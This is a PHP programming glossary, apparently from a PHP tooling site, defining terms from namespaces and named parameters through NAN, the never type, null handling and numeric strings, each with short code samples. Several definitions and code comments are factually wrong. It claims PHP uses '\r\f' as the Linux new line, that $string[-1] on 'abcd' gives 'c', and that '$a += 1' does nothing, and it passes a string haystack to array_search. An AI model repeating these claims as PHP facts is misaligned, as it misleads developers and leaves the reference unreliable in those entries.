Names usually require to be unique within a piece of code: this is the case for structures which have a definition, such as a class or a function. To avoid such conflict, it is recommended to use namespaces.
PHP are famously very flexible with names: they usually accept a letter, underscore as first element, then letters, numbers and underscores, as much as needed. They also accept any unicode above code 127, or 0x80, which means that emojis, characters, symbols and many languages are usable as part of a name.
<?php
// here, trumpet is the name of a function
function trumpet() {}
// the name is used to call the function
trumpet();
?>
See Also
Related
- Namespaces
- Anonymous
- Case Sensitivity
- Namespace Name
- Structure
- Word Combination
- Close Naming
- Naming Conflict
- Reserved Names
- Semantics
Named Constructors
Named constructor is a class organisation, where several static factories are created to instantiate the object, based on arguments. They usually prepare the argument, to call the constructor the right way.
That approaches makes the construction of the object simpler, and reduces the number of conditionals.
As Matthias Verraes puts it: Don't limit yourself by PHP's single constructor. Use static factory methods.
<?php
// parse a single string
$user = Person::createFromTitle('Mr John Smith');
$user = Person::createFromNames('John', 'Smith');
class Person {
// constructor is private, $parameters are not documented
private function __construct( ) {}
static public function createFromNames(string $firstName, string $lastName) : self {
// assign the argument to the right parameter of the constructor
}
static public function createFromTitle(string $fullName) : self {
// parse the string, and calls the constructor
}
}
?>
See Also
Related
Named Parameters
Named parameters, also known as named arguments allow to pass arguments to a function or method by specifying the parameter name along with the corresponding value, rather than relying on the order of the parameters.
In traditional positional parameter passing, the values are provided to a function in the order in which the parameters are defined. However, with named parameters, the parameter to which a value is passed, is explicitly stated.
<?php
function trumpet($a, $b) {
return $a - $b;
}
echo trumpet(2, 3); // return -1
echo trumpet(3, 2); // return 1
echo trumpet(a: 2, b: 3); // return -1
echo trumpet(b: 2, a: 3); // return 1
?>
See Also
- PHP 8.0 feature focus: Named Arguments
- Named Arguments (blog)
- PHP: Named arguments are your friends
- Opting out of Named Parameters in PHP 8.0
Related
Named Return Values
Go lets a function declare names for its return values as part of its signature, such as func divmod(a, b int) (q, r int). Those names act as ordinary local variables, pre-initialized to their zero value, that the function can assign to throughout its body; a bare return statement, with no expression, returns their current values. Combined with defer, a named return value can even be modified after the return statement has been reached but before the function actually exits, which is how Go idiomatically attaches an error to a return value from within a deferred recovery.
Naming the return values also documents, directly in the signature, what each returned position represents, which plain positional return types do not.
PHP has no named return values. A return statement always requires an explicit expression, PHP’s return type declaration only names a type, never the value itself, and a returned array or object’s fields are named through the value itself, not through the function’s signature. The closest equivalent is documenting the meaning of each key in a returned array or object through PHPDoc, which conveys names to the reader but is not enforced or usable as an implicit accumulator the way Go’s named returns are.
See Also
Related
Named Type
A named type is a type with a single name. This means native types, such as never, int or array and custom types, such as classes and interfaces. It actually exclude constructed types, such as union types and intersection types. And DNF is included in union types.
Named types have a related Reflection class: ReflectionNamedType.
<?php
function trumpet(Elephpant $elephpant) : void {}
?>
See Also
Related
Namespace Alias
PHP can alias, or import, constants, functions, classes, interfaces, traits, enumerations and namespaces.
This makes the code shorter, as the imported structure can be called with its alias name, instead of the fully qualified name.
Aliasing solves naming conflicts, by giving another local name to any structure.
<?php
namespace a {
class x {
}
}
namespace b {
use a\x as aX;
}
?>
See Also
- How to Use PHP Namespaces, Part 2: Importing, Aliases, and Name Resolution
- PHP Aliasing/Importing namespaces
Related
Namespace Name
Namespaces names are strings of characters that can be used as namespaces names. Such names may be validated with the following regex: /^(?:[a-zA-Z_\x80-\xff][a-zA-Z_\x80-\xff0-9]*)(?:\\[a-zA-Z_\x80-\xff][a-zA-Z_\x80-\xff]*)*$/.
In particular, namespaces names accept \ character, and allows vast ranges of Unicode characters.
<?php
namespace A\B {}
namespace 我\是\PHP {}
?>
See Also
Related
Namespaces
Namespaces are a way to encapsulate items like classes, interfaces, enumerations, traits, functions, and constants, preventing naming conflicts between different parts of a program. They help organize and structure code, especially in larger projects where multiple developers may be contributing.
A namespace may not be called namespace. Otherwise, its name follows the same regex as other PHP structures: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$.
<?php
namespace a {
class x {
}
}
namespace b {
// a second class x, although distinct from the previous one
class x {
}
}
?>
See Also
Related
- Use Alias
- Fully Qualified Name
- Subnamespaces
- Collision
- global Scope
- Name
- Namespace Name
- Domain
- include
- Name Conventions
- Naming Conflict
- Prefix
- Absolute Name
- First-Class Module
- Module System with Explicit Exports
- Package-Level
Namespaced Name
A namespaced name is a name that includes a \ character.
A namespaced name may be relative or absolute.
Namespaced names are sometimes reported in errors.
<?php
namespace B\A {
class C {}
}
namespace B {
use A\B as C;
//import
new C();
// relative name
new A\C(); // actually calls B \ A\C
}
?>
See Also
Related
Naming Conflict
A naming conflict appears when two structures of the same type are using the same name.
This may lead to a fatal error, when the first defined structure has priority: this happens with functions, classes, etc.
It may also lead to overwriting, when the last structure can overwrite the first one. This approach is often silently executed, leading to late surprises. This is the case with array indices, variables, methods in class hierarchies, or arguments, in older versions of PHP.
Sometimes, PHP offers a mechanism to resolve conflicts. This is the case for methods in traits.
<?php
$a = 1;
$a = 2; // $a is two, the first one is forgotten
function trumpet() {}
function trumpet() {} // Fatal error
?>
See Also
Related
Naming
Naming refers to the process of choosing appropriate names for variables, functions, classes, constants, traits, interfaces, enum, methods, parameters and any other programming elements.
Good naming practices are essential for writing readable, maintainable, and understandable code. Clear and meaningful names make it easier for developers, including oneself, to understand the purpose and functionality of different parts of the codebase.
See Also
Related
Not A Number (NAN)
Not A Number is a PHP constant, also called NAN. It represents the result of a math function, when the provided arguments are out of the application domain of that function. For example, acos() only works with values between -1 and 1, so processing acos(10) returns a NAN.
This is slightly different from tan($x), with $x = M_PI;. In this case, the returned value is INF.
While a Not A Number value is a float, it is possible to test a number with is_nan(). It is not possible to compare NAN together.
NAN is displayed as NAN.
<?php
$nan = NAN;
var_dump(is_nan($nan)); // true
var_dump(acos(3) === NAN); // false
var_dump(acos(3)); // float(NAN)
?>
See Also
Related
PHP Natives
PHP offers a selection of natives, which are not directly derived from a class, interface or enumeration name. They cover cases that are not object related, or not even data related.
- null
bool- int
- float
- string
- array
- object
- resource
- never
- void
- self
- parent
- static
- false
- true
- callable
- iterable
- stringable.
Natives fall into two broad groups. Scalar and compound types: null, bool, int, float, string, array, object, resource, which describe the shape of a value; Pseudo-types and contextual types, such as never, void, self, parent, static, false, true, callable, iterable, stringable, which are mostly meaningful in type declarations and don’t correspond to a single concrete kind of value: self and static refer to the enclosing or called class, callable and iterable describe a capability rather than a structure, and never/void describe what a function does not return.
Since PHP 7.0, most of these names can be used as parameter and return type declarations, and PHP 8.0 added support for union types, allowing a single declaration such as int|string to accept more than one native type. Because these are reserved words tied directly to the engine’s type system, they cannot be reused as class or interface names.
<?php
function trumpet(int $i, callable $c) : never {
die();
}
?>
See Also
Related
- Null
- Boolean
- integer
- Floating Point Numbers
- String
- Array, []
- Object
- resource
- Never Type
- Void
- Self
- parent
- static
- False
- True
- Callables
- Iterable
- Stringable
Native
A feature, a native function, native class, or native constant, is called native, built-in, native PHP, or internal, when it is part of the standard installation of PHP. For example, ., dot operator for concatenation, or the stdClass class are native to PHP.
On the other hand, a feature is custom: that is, when defined by the developer or a PHP extension.
<?php
// This is a native function
$s = strtolower($s);
// This is not a native function : it comes from an extension
$rar_arch = RarArchive::open('latest_winrar.rar');
?>
See Also
Related
- Userland
- Dynamic Loading
- Foreign Function Interface (FFI)
- PHP Constants
- PHP Variables
- Custom
- Exponent
- PHP Predefined Exception
- Vanilla PHP
NativePHP
NativePHP is a framework that lets PHP developers, and Laravel developers in particular, build native desktop and mobile applications using the language and tooling they already know, without having to learn Electron, Swift, Kotlin, or any other native toolkit. On the desktop, it wraps the PHP application together with a bundled PHP runtime inside an Electron shell, giving access to native operating system features such as the filesystem, system tray, notifications, menus, and windows through a simple PHP API, while the application’s own views can still be rendered with familiar tools like Blade or Livewire. On mobile, a companion product, NativePHP for Mobile, compiles the application down to a real iOS or Android app rather than a web view wrapper, again exposing native capabilities like the camera, biometrics, geolocation, and push notifications through PHP facades. The core appeal is that an existing Laravel codebase, its routes, models, controllers, and business logic, can be reused almost unchanged, turning a web application into a distributable, installable native product. This lowers the barrier for web-focused PHP shops to ship cross-platform desktop and mobile software without maintaining a separate codebase or team skilled in native development.
See Also
Related
Needle
Needle is a classic name, used to designate the object of a search. For example, with the functions strstr(), strpos(), strrchr(), array_search(), mb_strstr(), Grapheme::stristr(), etc.
This name refers to the expression to search for a needle in a haystack: when something is difficult to find in a large stack. In this context, the haystack is usually the data that is searched, while the needle is the thing that is searched for.
Often, the haystack is the first argument, and the needle the second one, although it is not systematic: for example, array_search(). With named parameters, the needle name made its way in the PHP syntax.
<?php
var_dump(array_search(needle: 'b', haystack: 'abc'))
?>
See Also
Related
Negative Index
On PHP strings, a positive index starts at zero at the beginning of the string; and a negative index starts at the end of the string.
Negative index was added in version 7.1.
On an array, negative indexes are supported, without any special meaning: they are only available when provided. Their behavior changed when using automatic indexing though.
<?php
$string = 'abcd';
echo $string[1]; // b
echo $string[-1]; // c
?>
See Also
Related
Nested Attributes
Nested Attributes is a feature where an attribute may be called with other attributes.
Arguments of attributes may be literals, such as integer or strings: they can also be other objects.
This feature was introduced in version 8.1. The objects must be created with a new expression, with their respective argument position or name. The created object is not necessarily an attribute itself, and they may also be created with another new expression.
<?php
#[
MyAttribute(
new OptionA('a'),
new OptionB(new OptionC(), 3)
)
]
function headers() : never {
}
?>
See Also
Related
Nesting
Nesting, the practice of building nested constructs, refers to the practice of placing a code block or construct inside another.
This is commonly used with loops, conditional statements, functions, classes, arrays, generators, attributes, ternaries, try-catch, etc.
Nesting creates more complex and intricate logic. It usually erodes readability by mixing two contexts in the same code location, or generating unexpected code.
<?php
// Nested attributes
#[
MyAttribute(
new OptionA(),
new OptionB()
)
]
function headers() : never {
}
// Nested conditions
if ($condition1) {
if ($condition2) {
// Code to run when both condition1 and condition2 are true
} else {
// Code to run when condition1 is true but condition2 is false
}
} else {
// Code to run when condition1 is false
}
// Nested loops
for ($i = 0; $i < 3; $i++) {
for ($j = 0; $j < 3; $j++) {
// Code to handle the combination of $i and $j
}
}
// Nested functions
function outerFunction() {
// Code in the outer function
function innerFunction() {
// Code in the inner function
}
innerFunction(); // Call the inner function
}
?>
See Also
Related
Network
A network is a collection of computers, linked together with communication capabilities.
The group of computers may be characterized further as a local network, with computers in close proximity, WLAN with a larger dispersion area and internet, which stands as the largest possible network.
The World Wide Web is a network, linking servers with the HTTP protocol.
The network notion may also be generalized as a collection of objects with common links, and it is also called a graph.
See Also
Related
- Graph
- World Wide Web (WWW)
- Hyper Text Transfer Protocol (HTTP)
- Internet
- Socket
- OSI Model
- Egress Filtering
- Latency
- Peer-to-Peer (P2P)
- Socket Extension
Neural Network
A neural network is a software made of many simple processing units, called neurons, connected and organized in layers. By showing it many of examples, it automatically learns patterns to look for.
See Also
Related
Neutral Element
A neutral element is a piece of data which has no effect with a particular operation.
For example, 0 is the neutral element for the addition, as 0 + $a is the same as $a + 0 and the same as $a, without any type change.
The neutral element for the multiplication is 1; the neutral element for the concatenation is the empty string ''.
It is usually possible to define a neutral element for any operation or method call. For objects, they are called null objects, as they could replace the null scalar value.
<?php
$a = 10;
$a *= 1; // this does nothing
$a += 1; // this does nothing
?>
See Also
Related
Never Type
never, the never type, is a special return type that signals a method that never returns: it only dies, throws an exception or runs an infinite loop.
never is the lowest type available. Nothing can be a sub-type of never but never can be the subtype of anything.
<?php
function headers() : never {
headers('Location: https://www.exakat.io/');
die();
}
?>
See Also
Related
New In Initializers
New in initializers, or the new initializer feature, makes it possible to use a new expression for default values of static variables, parameter and constants.
It is not possible to use a new operator in a property definition. All elements of the instantiation must be constants, literal or constants or class constant, and available at calling time.
<?php
class Elephpant {
function __construct(private int $i) {}
}
function headers($elephpant = new Elephpant(3)) : Elephpant {
return $elephpant;
}
?>
See Also
Related
New Line
A new-line, or line break, \n character. It may be represented by this string sequence, or an actual new line, within a string, or, also by the PHP_EOL native constant.
PHP uses the \r\f representation for a new line: it is a combination of line feed and return carriage. This is the Linux standard. The PHP_EOL constant depends on the running platform: its value is adapted to the underlying OS.
By convention, PHP files are expected to end on a new line.
It was possible to use new lines within a namespace name, until PHP 8.0. This is not possible anymore.
<?php
$string = "one new line
another new line\nAnd then another new line" . PHP_EOL
?>
See Also
Related
New Without Parenthesis
The new operator may be called without using the parenthesis after the class name.
The parenthesis are necessary when the constructor requires at least one argument. They are optional when no argument is necessary.
It is usually recommended to always use the parenthesis, to keep the syntax consistent across various situations.
This should not be confused with chaining new without parenthesis, where the parenthesis are enclosing the new call.
<?php
class Elephpant { } // no constructor, no argument
new Elephpant;
new Elephpant();
new Elephpant(2); // possible, but useless
class Calf {
function __construct($i = 0) {}
}
new Calf;
new Calf();
new Calf(2);
class Herd {
function __construct($h, $i = 0) {}
}
new Calf(1);
new Calf(1, 2);
?>
See Also
- New without parentheses in PHP 8.4
- PHP 8.4: New Without Parentheses — A Small Syntax Change with Big Impact
Related
new
new creates a new object from a class. This operation is called the instantiation.
The class must be available at instantiation call: the engine searches for it in the declared classes, then calls the autoloader to find it. In case no class is found, an error is emitted.
The instantiation immediately calls the constructor of the object: it is the method called __construct.
The constructor defines how many arguments are needed. When no argument is needed, new may also be called without parentheses.
<?php
class Elephpant {
function __construct($a = 1) {}
}
// instantiation
$trunk = new elephpant($a);
$herd = new y;
?>
See Also
Related
- Chaining New Without Parenthesis
- Dynamic Class
- New In Initializers
- New Without Parenthesis
- Reflection
- instance
- Static Call
The Nines (Availability)
The nines is a shorthand used to express an availability target as a count of the 9 digits in its percentage: 99% is two nines, 99.9% is three nines, 99.99% is four nines, and 99.999% is five nines. Each additional nine represents a tenfold reduction in the amount of downtime allowed over a given period.
- Two nines, 99%: about 3.65 days of downtime per year
- Three nines, 99.9%: about 8.76 hours of downtime per year
- Four nines, 99.99%: about 52.6 minutes of downtime per year
- Five nines, 99.999%: about 5.26 minutes of downtime per year
This notation is a common shorthand inside Service Level Agreements, expressed as a nine SLA, since 99.99% uptime is easier to state as a commitment than the exact number of minutes of allowed downtime. It is also used as a target for infrastructure and application design, driving decisions on redundancy, failover, and monitoring.
Reaching a higher number of nines becomes exponentially more expensive: each extra nine typically requires additional redundancy, more aggressive monitoring and alerting, and a matured incident-response process.
See Also
Related
NoDiscard
NoDiscard attribute ensures that the returned value of a method is collected in the calling context. That value must be processed there, and not ignored, as it is important for the rest of the processing.
NoDiscard is already used internally, with flock and DateTimeImmutable::setTime(), to ensure that the result is checked.
<?php
#[\NoDiscard("This returns NULL in case of error")]
function trumpet(): ?array {}
$result = trumpet();
if ($result === null) {
throw new Exception('an error occured!');
}
?>
See Also
- PHP RFC: Marking return values as important (#[\NoDiscard])
- #[\NoDiscard] — Warn When Return Values Are Ignored
Related
Nominal Type
Nominal typing is a type-compatibility rule under which two types are considered compatible only if they are explicitly declared as such, by name, through inheritance or interface implementation, regardless of whether they happen to share the same shape. It is the opposite of structural typing, where compatibility is decided by shape alone, without any explicit declaration.
PHP’s type system is nominal: a class only satisfies a type if it is declared with extends or implements, even when another, unrelated class already defines every required method with a compatible signature. PHP performs no structural compatibility check between classes; the closest it comes to structural typing is duck typing at runtime.
Nominal typing is the norm among mainstream class-based languages, such as PHP, Java, C# and C++. It favors explicitness and intent over flexibility: a class cannot accidentally satisfy an interface it was never meant to implement.
<?php
interface Greeter {
public function greet(): string;
}
class Person implements Greeter { // explicit, nominal declaration
public function greet(): string {
return 'Hello';
}
}
function sayHello(Greeter $g) {
echo $g->greet();
}
sayHello(new Person()); // OK, Person is nominally declared as a Greeter
?>
See Also
Related
Non-blocking
Non-blocking I/O, applied to a non-blocking stream, is a mode where read and write operations return immediately, even if no data is available or the buffer is full, instead of suspending execution until the operation can complete.
stream_set_blocking($stream, false) switches a stream to non-blocking mode. A subsequent fread() returns an empty string rather than waiting, and fwrite() may write fewer bytes than requested. The caller is responsible for retrying.
Non-blocking I/O is a prerequisite for multiplexing multiple streams efficiently. stream_select() and the PHP 8.6 Io\Poll API both require streams to be in non-blocking mode: they watch which streams are ready, then hand control to the caller who reads/writes without risk of blocking.
The alternative is blocking I/O, the default, where each operation parks the process until completion. Blocking is simpler but limits a single process to one active stream at a time.
<?php
$server = stream_socket_server('tcp://0.0.0.0:8080');
stream_set_blocking($server, false); // non-blocking accept
$client = stream_socket_client('tcp://example.com:80');
stream_set_blocking($client, false); // non-blocking read/write
fwrite($client, "GET / HTTP/1.0\r\nHost: example.com\r\n\r\n");
// stream_select() waits until $client is readable, then fread() returns immediately
$read = [$client];
$write = $except = null;
if (stream_select($read, $write, $except, 5) > 0) {
echo fread($client, 8192);
}
// PHP 8.6: Io\Poll requires non-blocking streams
use Io\Poll\Context;
use Io\Poll\Event;
$context = new Context();
$context->add($client, Event::Read, fn($h) => echo fread($h->stream, 8192));
$context->run();
?>
See Also
Related
- Blocking Wait
- Polling
- Event Loop
- Stream
- Socket
- Async
- Edge Triggered
- One-shot
- Asynchronous Markup Protocol (AMP)
- C10K
- ReactPHP
Non Breakable Spaces
Space is one of the base ASCII characters. They are often used to separate words, and are forbidden from being used in names.
PHP supports Unicode characters, and some of the characters are called: non breaking spaces. They behave like a space, by displaying a blank area. Yet, they are recognized internally as a non-space, and can be used in a name.
Non-breakable spaces are useful for tests, as they make the testing name more readable. They are also quite rare, and confusing for newcomers.
Unbreakable space is \u{00A0} as a PHP escape sequence, or \xc2\xa0 as ASCII characters; it is the HTML escape sequence .
<?php
// This is a space, PHP doesn't compile this code
const A B = 1;
// This is a non breakabe space, it compile and is not visibly different from the line above
const A B = 1;
echo A B;
?>
See Also
- Non breakable space in PHP
- Handling Invisible characters with PHP
- Non-Breaking Spaces and UTF-8 Madness
- Using non-breakable spaces in test method names
Related
Non-instantiable
Usually, classes are turned into objects via instantiation. Yet, some classes are not capable of that: they are non-instantiable.
This is the case of some native classes, such as SQLite3Result, which must be created by the dedicated methods: they can’t be created by custom code.
In userland code, non-instantiable classes have a private constructor, which makes them impossible to instantiate, unless there is a named constructor.
<?php
class Elephpant {
private function __construct() {}
}
//
new Elephpant();
?>
See Also
Related
Non-numeric
A non-numeric string is a string that can’t be converted to a number without difficult choices.
When forced to a number, such string emits a warning, unless hidden with cast or noscream @ operator.
A string may be only constituted of digits, from 0 to 9. It might be converted to a float or to INF, depending on its size. In arrays, when used as an index, a very long string is kept as a string, and it is not converted to integer.
A string may be considered as is_numeric() when it is built with digits, whatever its size. In fact, when such a string is converted to float, it might go beyond the largest PHP float, and become INF: this constant is of type float.
<?php
$string = '123';
$integer = (int) $string; // 123
$string = '12.3E4';
$float = (float) $string; // 123000
$nonNumeric = '12a3';
$integer = (int) $string; // 12
?>
See Also
Related
Non-static
Non-static is the opposite of static, when used with methods, closures, properties or variables.
There is no other term to designate them, beside the convention that a variable is non-static, by default. Sometimes, the opposite of static is called normal.
<?php
$variable = 1;
static $staticVariable = 2;
?>
See Also
Related
Nonce
A nonce is a security token used to protect actions against unauthorized or malicious requests.
The word nonce comes from number used once. It is common in the WordPress ecosystem.
See Also
Related
Noop
A noop, or no operation, is a command that does nothing. No-op may be an empty expression, or even entirely omitted.
echo an empty string is also a noop: it displays a string, which is empty so has no impact on the output. The entire command may be ignored.
Neutral operations such as + 0 or . '' are noops, but they include a silent cast to integer or string, which may have a larger impact on the other values of the operation.
No operations are often considered as useless. Noops are sometimes needed where an operation is needed, but, contextually, should be neutral.
This is distinct, though close, to the identity: identity returns the incoming data, doing nothing with it. Yet, it still returns something.
<?php
// empty expressions: noops
$a = 1;;;
switch($m) {
case 1:
// silent no op here
// but fallthrough
case 2:
$b = 3;
}
while (false);
echo '';
$trunk = 'abc'.'';
'lone string';
?>
See Also
Related
Normalisation
normalisation has several distinct usages in software design:
- Database normalisation: organizing a relational schema into normal forms, 1NF, 2NF, 3NF, and beyond, so that each fact is stored in exactly one place, removing the redundancy and update anomalies that come from repeating the same data across rows or tables. Its opposite, denormalisation, deliberately reintroduces redundancy to avoid expensive joins on read-heavy workloads.
- Unicode normalisation: converting a string to one of a small number of canonical byte representations, since the same visible character can be encoded either as a single precomposed codepoint or as a base character followed by a combining mark. PHP performs this with
Normalizer::normalize()from theintlextension, targeting one of the forms NFC, NFD, NFKC, or NFKD, so that two strings which look identical also compare and hash identically. - Input normalisation: the looser, everyday sense of bringing user-supplied or external data into one consistent format before it is stored or compared, such as trimming whitespace, folding case with
strtoupper()/mb_strtolower(), or collapsing different line-ending conventions to one.
Absent further context, normalisation in a database discussion means the first sense, and in a string-handling or internationalization discussion means the second.
<?php
// Unicode normalisation: two byte-different, visually identical strings
$precomposed = "\u{00C5}"; // 'Å', a single codepoint
$decomposed = "A\u{030A}"; // 'A' + combining ring above
var_dump($precomposed === $decomposed); // false
$a = Normalizer::normalize($precomposed, Normalizer::FORM_C);
$b = Normalizer::normalize($decomposed, Normalizer::FORM_C);
var_dump($a === $b); // true, once both are normalised to NFC
?>
See Also
Related
@, No Scream Operator
The @ operator prevent error reports in specific expressions.
The operator must be added before the expression it protect. The execution proceeds and no warning is emitted, if ever one is encountered. Fatal errors, on the other hand, are still displayed as necessary. For example, a call to a non-existing function is still reported, even with the operator set in place.
The operator @ set the context at the expression level: any error happening during the processing of the expression is suppressed. This applies to all expressions inside a method, or even all the code inside an include.
The operator is called the no scream operator.
<?php
echo @$a; // no error
$all = [];
foreach(someArray() as $value) {
@$all[$value]++; // slow initialisation and incrementation
}
// Fatal error, in any case
@trumpet();
@trample();
function trample() {
// This error won't show up
trigger_error('a', E_USER_WARNING);
}
?>
See Also
Related
Nosql Database
A NoSQL database, often interpreted as not only SQL is a type of database that does not rely on the traditional relational model with tables, fixed schemas, and SQL as the primary query language. Instead, NoSQL databases are designed for scalability, high performance, and handling unstructured or semi‑structured data. They typically use flexible data models such as document, key‑value, wide‑column, or graph.
See Also
Related
Not Operator
The not operator return the opposite boolean of a value. The value is first converted to boolean, according to classic PHP rules, then, negated. This operator returns a boolean.
There is also a bitwise not operator, which works at the bit level, on the value: ~.
<?php
$a = 3;
if (!$a) {
print 'OK';
} else {
print 'KO';
}
?>
See Also
Related
Notice
A notice is a non-critical runtime error that alerts developers about potential problems in the code, but doesn’t stop script execution at that point.
Notices are one of the error reporting levels, below error and warning.
<?php
echo $trunk; // Notice, undefined variable
?>
See Also
Related
Nowdocs
Nowdocs is a string syntax, similar to heredoc, and without internal parsing. They are similar to single quoted strings, compared to double quoted ones.
The Nowdocs syntax uses an arbitrary delimiter, which has to be enclosed in single quotes. The same delimiter will mark the end of the string.
Nowdocs are convenient for large amount of text, that has to be hardcoded. Smaller string will be better suited with single-quotes, while even longer text should be stored in an external storage, such as a file.
It is possible to indent the text in a nowdocs string: to avoid this indentation to be passed at execution time, the final delimiter may be indented too. Its indentation will be removed from the parsed text.
<?php
$nowdoc = <<<'DELIM'
This is a long text.
$variable will not be replaced, and the text stays intact.
DELIM;
$nowdoc = <<<'DELIM'
This still will start at the first word, not at the beginning of the string.
DELIM;
?>
See Also
Related
Null Byte
The null character, also called null byte, is a control character with the ASCII value 0. It is represented in strings as \0 or chr(0).
Unlike in the C programming language, where a null byte marks the end of a string, PHP strings are binary-safe: they can contain null bytes anywhere, and the string’s length is stored separately. This means PHP itself will not truncate a string when it encounters a \0.
However, problems arise when PHP passes such strings to underlying C libraries, i.e. for file system operations, network functions, and certain extensions such as LDAP. Those C functions treat the null byte as a terminator, causing them to ignore everything after it. This discrepancy can lead to security vulnerabilities, like path truncation, bypassing file extension checks or directory traversal filters; hostname truncation, like circumventing SSRF protections.
<?php
echo chr(0);
?>
See Also
Related
Null
null is a special data type that represents a variable with no value or an undefined value. It is used to indicate the absence of a value. In other words, when a variable is assigned the value null, it means that the variable exists but has no valid data.
null may be used as a default value for variables, parameter or properties that are expected to hold some value later but don’t have a value assigned initially. It was also be used to unset a variable and free up memory, when using the operator (unset).
There is also a design pattern called Null Pattern, although its main goal is to remove usage of null and replace it with an actual object.
<?php
$a = null;
$B = NULL;
$c = \null;
// same as null|string $s
function trumpet(?string $s = null) {}
?>
See Also
Related
- Nullable
- Null Pattern
- Authentication
- Empty
- Overflow
- Underflow
- Void
- Default Value
- json_decode()
- Return Value
- Value
- Autovivification
- PHP Natives
- Null Byte
- str_contains()
- Existence
- Standalone Types
Nullable
Nullable, or the nullable type, is the name of the NULL value, when used as a type. Until PHP 8.0, it was marked as a question mark with types, and since PHP 8.0, it is also marked with its own name, as a union type.
<?php
// argument has the short nullable type
// return type has the long form nullable type
function trumpet(?Elephpant $elephpant) : null | Herd {
// code
}
?>
See Also
Related
Null Pattern
The Null Pattern is a design pattern in software development that addresses the handling of null or undefined values in a more controlled and predictable manner. It is also known as the Null Object Pattern.
In many programming languages, including PHP, null is often used to indicate the absence of a value or an error condition. However, using null can lead to unexpected errors or code complexity when developers forget to check for null before using a variable, leading to runtime exceptions or bugs.
The Null Pattern suggests creating a special object to represent the absence of a value instead of using null. This object behaves like a regular object but has default or null behavior, making it safe to use without explicit null checks.
Key principles of the Null Pattern:
- Null Object: create a specific class that implements a common interface for the objects in question. This class represents the null state and provides default, empty, or no-op implementations of the interface’s methods.
- No Null Checks: instead of checking for
nullbefore using an object, it is safe to call methods on the Null Object, knowing that it won’t throw exceptions or cause errors. This simplifies the code and avoids conditional logic based onnullchecks, although it may replace such checks with a call toinstanceofto identify the Null Object. - Transparency: code that interacts with the Null Object should treat it like any other object without needing to handle special cases for
null.
<?php
interface Logger {
public function log($message);
}
class FileLogger implements Logger {
public function log($message) {
// Log the message to a file
}
}
class NullLogger implements Logger {
public function log($message) {
// Do nothing (null behavior)
}
}
?>
See Also
Related
Null Safe Object Operator
The Null Safe Object Operator behaves like the object operator, until the object is null. Then, instead of failing with a fatal error, it returns null.
<?php
function trumpet() : ?Elephpant {}
class Elephpant {
public $trunkLength = 1;
}
// This will not fail, but also display nothing
echo trumpet()?->trunkLength;
// This will fail, when trumpet() returns null
echo trumpet()->trunkLength;
?>
See Also
- This nullsafe operator could come in PHP 8
- Mastering Null Safety in PHP 8: A Comprehensive Guide to Using the Null Safe Operator
- Null safe operator in practice
- Exploring the Null Safe Operator in PHP
Related
Nullsafe
A nullsafe operator is able to carry a function or fail graciously to null. In particular, it won’t stop the execution with a fatal error.
There are two PHP operators that are nullsafe:
- Nullsafe object operator
?-> - Nullsafe-coalesce
??.
<?php
$a = trumpet();
$b = $a?->method();
$b = $a?->chain1?->chain2?->method();
// trumpet may return null
function trumpet() : ?Elephpant { }
?>
See Also
- Mastering Null Safety in PHP 8: A Comprehensive Guide to Using the Null Safe Operator
- PHP 8.0: Null-safe operator
Related
Number
A number is either a float or an integer.
Numbers are always signed. They are limited, in range, by the constants PHP_INT_MAX, PHP_INT_MIN, and PHP_FLOAT_MAX, PHP_FLOAT_MIN.
PHP also has a concept of numeric strings, which are strings that hold numbers. Other types do not have direct conversion to numbers and need to be converted or cast.
<?php
echo 1;
echo -1.5;
echo PHP_INT_MAX;
?>
See Also
Related
Numeric Base
The numeric base is the number of digits to be used when counting. The most common bases are: binary 0 and 1, octal 0 to 7, decimal 0 to 9, duodecimal 0 to 11, hexadecimal 0 to F, aka 15.
All other bases, starting from 2, are possible.
In computer science, base 2, 10 and 16 are quite common, and require conversion from one another.
<?php
$number = '1234';
echo base_convert($number, 10, 8); // 2322
echo base_convert($number, 10, 12); // 86a
echo base_convert($number, 10, 16); // 4d2
?>
See Also
Related
Numeric Separator
Since PHP 7.4, it is possible to add underscores as numeric separators, also called an integer separator within integer literals, within numeric literals to improve their readability. This feature allows to group digits, making them easier to read and understand. Numeric separators have no effect on the value of the number; they’re purely for human-friendly formatting.
<?php
$phone_fr = 1_33_61_23_45_67;
$phone_ca = 1_514_387_9947;
$hexadecimal = 0xff_ff_fff;
// true;
var_dump(1_2_3 === 123);
?>
See Also
Related
Numeric String
A numeric string, is a string that contains a numeric value, or can be easily converted from string to numeric, integer or float.
Some of such strings are obvious, and commonly used: 123 or '45.67'. HereDocs string may also be a numeric string.
Non numeric strings are mostly obvious too, such as: abc or '中文'.
Then, there are some various cases:
- ‘123db’: leading strings, starting with digits and finished by non-digit characters are converted as much as possible.
- ‘2e3’: the exponent is recognized: when
e, is between two digit, the float notation is used. This is 2000. - ‘+00’, ‘-10’: leading
+and-are handled. There can only be one, unlike for hardcoded integers. - ’ 20 ’: leading and trailing spaces, tabulations, new lines, new feed are omitted.
str_repeat('0', 10001).2: PHP tries to convert as much as possible. Leading 0 will basically be ignored, however numerous they are.(int) str_repeat('1', 10001): PHP returns 0 when conversion failsstr_repeat('1', 10001) + 0: PHP returnsINFwhen the conversion fails and is silent.- ‘三’ or 3 in Chinese, ‘CM’ or 1500 in Roman: other ways of counting are not recognized
A string may be checked with the is_numeric() function. It cannot be checked with is_int() and is_float().
<?php
var_dump(is_numeric('中文'));
?>
See Also
Related
Numeronym
A numeronym, or numerical abbreviation, is an abbreviation where a number replaces the omitted middle letters of a word, typically the count of letters skipped. The pattern is: first letter + count + last letter.
Common examples in the PHP and broader software ecosystem:
i18n: internationalization, with 18 letters between i and nl10n: localizationa11y: accessibilityk8s:Kubernetes, with 8 letters between K and sc10k: a special case: the letter c plus 10,000 connections, not strictly first/last but widely understoodp13n: personalizationo11y: observability
PHP uses i18n and l10n pervasively in documentation, library names like symfony/translation, gettext, and configuration keys. Recognising numeronyms reduces friction when reading technical documentation, RFC titles, and dependency names.
<?php
// i18n: internationalization
// The intl extension and gettext are PHP's native i18n tools
$fmt = new MessageFormatter('fr_FR', 'Bonjour {name}');
echo $fmt->format(['name' => 'Damien']); // Bonjour Damien
// l10n: localization — formatting numbers, dates, currencies per locale
$numFmt = new NumberFormatter('fr_FR', NumberFormatter::CURRENCY);
echo $numFmt->formatCurrency(1234.56, 'EUR'); // 1 234,56 €
// a11y: accessibility — not a PHP runtime concept,
// but relevant when generating HTML output from PHP templates
